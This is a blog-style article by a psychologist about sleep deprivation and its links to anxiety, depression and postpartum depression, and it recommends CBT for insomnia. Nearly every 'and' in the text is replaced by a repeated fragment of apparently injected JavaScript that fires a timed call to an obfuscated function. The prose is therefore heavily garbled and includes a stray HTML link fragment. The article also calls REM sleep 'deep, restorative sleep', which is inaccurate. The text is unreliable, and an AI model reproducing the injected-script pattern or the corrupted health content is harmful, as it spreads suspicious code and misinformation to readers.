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By: Nicole Singh, PhD, R. Psych

Nothing feels more invigorating than a good night’s sleep. That feeling when you open your eyes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and feel replenished, rejuvenated, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ready andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and tackle the day.

Unfortunately, for many Canadians, mornings, when we feel well rested, have become few andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and far between. In fact, research suggests that 60% of Canadians feel tired most of the time andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and only sleep an average 6.9 hours a night, despite the recommended 8 hours. Further, recent research suggested that almost 14% of Canadians met criteria for insomnia.

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This information is not surprising given that the North American culture is centered around a fast-paced andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and busy lifestyle, leaving sleep almost an afterthought rather than an act that is valued andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and prioritized. Indeed, family andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and social obligations, shift-work, illnesses, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and distractions presented by social media andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the Internet are just a few factors that interfere with achieving optimal sleep.

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It is well established that we need adequate sleep to feel rested andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and to rejuvenate our physical health, but how does sleep (or lack thereof) impact our mental health? Considerably more so than most people think.

For instance, sleep difficulties have been associated with elevated anxiety andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and different types of anxiety disorders. Researchers have discovered that a lack of sleep may activate brain regions that contribute to excessive worrying. Sleep deprivation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and anxiety appear to go full circle as researchers have also identified that chronic worriers – individuals who are naturally more anxious andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and therefore more likely to develop a clinical anxiety disorder – are acutely vulnerable to the impact of insufficient sleep.

In addition to anxiety disorders, considerable research has focused on the link between sleep difficulties andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and depression. Depression is characterized by symptoms such as sad or irritable mood, reduced interest in pleasurable activities, difficulty concentrating, fatigue, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and suicidal thoughts. Large research trials have revealed a consistent relationship between sleep andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and depression, with greater evidence suggesting that poor sleep quality precedes the development of depression, rather than depression preceding sleep difficulties.

However, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-psychiatric-disorders” target=”_blank” rel=”noopener”>research has also demonstrated a bi-directional relationship between sleep andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and depression; poor sleep quality is associated with the onset of a major depression, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and depression is a major risk factor for the onset of sleep difficulties.

As a new mother, I now fully understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the challenges of sleep disruption andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sleep deprivation. If it wasn’t for my supportive family (they say it takes a village for a reason!) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and copious cups of coffee, I don’t know how I would have survived the first few months of my daughter’s life. While it is a well-known fact that mothers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fathers commonly experience a lack of sleep during the newborn stage, it is also recognized that this sleep deprivation is associated with mental health concerns.

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For instance, women who struggle with post-partum depression have reported experiencing a longer time to fall asleep, poor sleep quality, less total sleep time, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and greater sleep disturbances.  Additionally, women who report symptoms of postpartum depression have been found not only to sleep for shorter periods of time, but they also spend less time in REM sleep (i.e., deep, restorative sleep) when compared with women who do not struggle with postpartum depression.

If you are among many others who struggle with sleep andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and feel that your mental health may be affected, please take action. Speak to your doctor, psychologist, or other mental health professional about mental health treatment options. For instance, cognitive behavior therapy (CBT) for insomnia is a well-supported therapy that can help you develop habits that promote a healthy pattern of sleep. Pharmacological approaches are also an option.

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Lastly, sleep experts, such as those at Sleep Well Baby, are also a fantastic resource to guide your baby to sleep through the night allowing the parents a more restful sleep.

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